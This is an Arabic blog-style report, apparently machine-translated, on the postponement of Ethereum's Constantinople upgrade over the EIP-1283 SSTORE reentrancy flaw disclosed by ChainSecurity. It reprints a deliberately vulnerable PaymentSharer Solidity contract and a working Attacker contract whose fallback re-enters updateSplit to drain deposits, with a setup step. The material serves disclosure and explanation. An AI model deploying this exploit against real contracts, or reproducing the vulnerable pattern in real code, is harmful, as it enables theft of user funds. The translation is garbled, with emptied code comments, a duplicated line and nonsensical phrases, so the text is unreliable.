* كثير من الناس يصفون هذا الحدث بأنه "شوكة صلبة" ، لكن فيتاليك ضده .كان من المفترض أن يتم إطلاق القسطنطينية الذي طال انتظاره
في 17 يناير ، الساعة 4 صباحًا بالتوقيت العالمي المنسق ، ومع ذلك ، مرة أخرى ، يكسر بوحشية جيشًا لا يحصى من مطوري
عد عدادات العد التنازلي هذا لن يتحقق.
قبل 30 ساعة من الإصدار الرسمي ، نظرًا لوجود ثغرة أمنية تم العثور عليها ، واسترشادًا بمبدأ "من الأفضل أن تتداخل من عدم المقاطعة" ، تم تأجيل التحديث إلى أجل غير مسمى.
الحدث الذي أثار آذان المجتمع بأكمله كان العرض المتهور من
EIP 1283 ، مما يقلل من تكلفة تنفيذ تعليمات SSTORE (كذا!). بشكل عام ، كان أحد الاتجاهات الرئيسية للتحديث هو التنفيذ الأرخص والأسرع للتعليمات الثقيلة بشكل خاص.
أحداث 15 يناير تطورت على
النحو التالي (الوقت في توقيت المحيط الهادي):
- في الساعة 8 صباحًا ، تنشر ChainSecurity وصفًا للثغرة الأمنية ؛
- هناك ، يستيقظ Martin Holst Swende (حارس الأمن الرئيسي في Ethereum Foundation) على جميع المطورين الرئيسيين ، مذكرا بأنه لم يتبق سوى 37 ساعة قبل التحديث ، وهنا لدينا ؛
- قبل الظهر هناك نقاش ساخن في غرف الدردشة و "الصوت" ؛
- قبل العشاء ، تقرر إلغاء التحديث.
وقد تفاقم الوضع بسبب اختيار وقت نشر السفينة بشكل سيئ للغاية: فقد تم تحديث ما يقرب من نصف العقد ، وتم ركل جميع النقاط الأخرى بشكل منهجي ومستمر خلال الأسابيع الماضية. نتيجة لذلك ، ستحتاج العقد المحدثة الآن إلى التحديث مرة أخرى (إما أعلى أو لأسفل ... mda). ومن لم يكن لديه وقت ونام في كل شيء - حسنًا ، لا يحتاجون إلى فعل أي شيء.
ثم كان كل شيء متوقعًا - كان رد فعل السوق بهبوط بنسبة 5٪ في معدل الأثير (هاها). كثيرون ، بالطبع ، كانوا مستاءين لأنهم يقولون كيف يمكن أن يؤثر سعر التعليمات على السرية ، ولماذا وضعتها هناك وكل ذلك ... ولكن في الواقع ، لا شيء غير عادي ، كل شيء مثل الجميع.
من الأفضل أن تقرأ عن التفاصيل الفنية للضعف في المقال الأصلي من
ChainSecurity ، وليس من الصعب معرفة ذلك.
من هو كسول جدًا في الغوص في الشفرة - النقطة المهمة هي أنه قبل التحديث كانت تعليمة SSTORE باهظة جدًا بحيث لم يكن هناك طريقة لتغيير "الحالة" من العقود الأخرى ، وبعد تحديث القسطنطينية أصبحت التعليمة أرخص (و) ، ويمكنك تغيير "التخزين" عدة مرات ، وبالتالي تغيير منطق العقد الضعيف.
كود العقد الضعيف (مع تعليقاتي):
pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; // , ( ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } // , function deposit(uint id) public payable { deposits[id] += msg.value; } // function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // , ( split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; // ( fallback- ) a.transfer(depo * splits[id] / 100); // - ( ) b.transfer(depo * (100 - splits[id]) / 100); } }
قانون عقد الهجوم:
pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } // *, PaymentSharer function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback , transfer- function () payable external { address x = victim; // , ( , updateSplit(0, 0)), .. Split assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } }
* في الأصل مفقود ، ولكن في مكان ما يجب أن يكون هناك تهيئة للنموذج:
init (0 ، "عنوان عقد المهاجم" ، "عنوان محفظة المهاجم")
قبل استدعاء طريقة الهجوم.
بالطبع ، هناك العديد من الأسئلة لعقد PaymentSharer نفسه ، والتي نظهر فيها ثغرة أمنية ، إنه أعمى في حد ذاته ، وهذا هو المشكلة
وليس في سعر SSTORE ، وبصفة عامة - لم يجدوا مثالًا حيًا في شبكة الإصدار ، لكنهم قرروا تشغيله بأمان ، وفي نفس الوقت ، قد يكون سعر الخطأ مرتفعًا للغاية (تذكر الجميع DAO منذ فترة طويلة هنا).
بشكل عام ، لدى مجتمع Ethereum الكثير من الأحداث المثيرة للاهتمام: اشتد الصراع بين الكرادلة في السوق الرمادية (GPU vs ASIC) ، وهو في حد ذاته يستحق مقالاً منفصلاً ، يكتسب الإصدار القادم من سلسلة Bacon زخماً - ويعد العام بأن يكون غنيًا بالأحداث والمؤامرات.